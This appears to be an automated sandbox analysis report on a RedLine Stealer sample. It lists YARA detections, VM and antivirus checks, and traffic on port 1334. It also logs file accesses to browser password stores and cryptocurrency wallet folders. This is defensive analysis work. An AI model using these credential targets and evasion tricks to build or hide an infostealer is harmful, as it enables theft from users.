Source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: file.exe PID: 6724, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/43@1/1

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6760:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\tmp5469.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp8C08.tmp.0.dr, tmp8BF7.tmp.0.dr, tmp8C4B.tmp.0.dr, tmp8C28.tmp.0.dr, tmp8C3A.tmp.0.dr, tmp8C29.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944248 pushfd ; iretd	0_2_00944256
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944680 pushfd ; iretd	0_2_0094468E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00946908 push edi; iretd	0_2_00946916
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944CE0 pushfd ; iretd	0_2_00944CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944CEF pushfd ; iretd	0_2_00944D0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942D36 push esi; iretd	0_2_00942D66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00941867 push cs; iretd	0_2_0094186A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00941861 push cs; iretd	0_2_00941866
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00945A6B push edi; iretd	0_2_00945A76

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49733

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 27A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 24D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 2218			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 6815			Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 4960	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: file.exe, 00000000.00000002.1821100222.0000000000993000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.1826438977.0000000005EAA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6724, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6724, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6724, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1305500
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	Avira URL Cloud	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Avira URL Cloud	safe
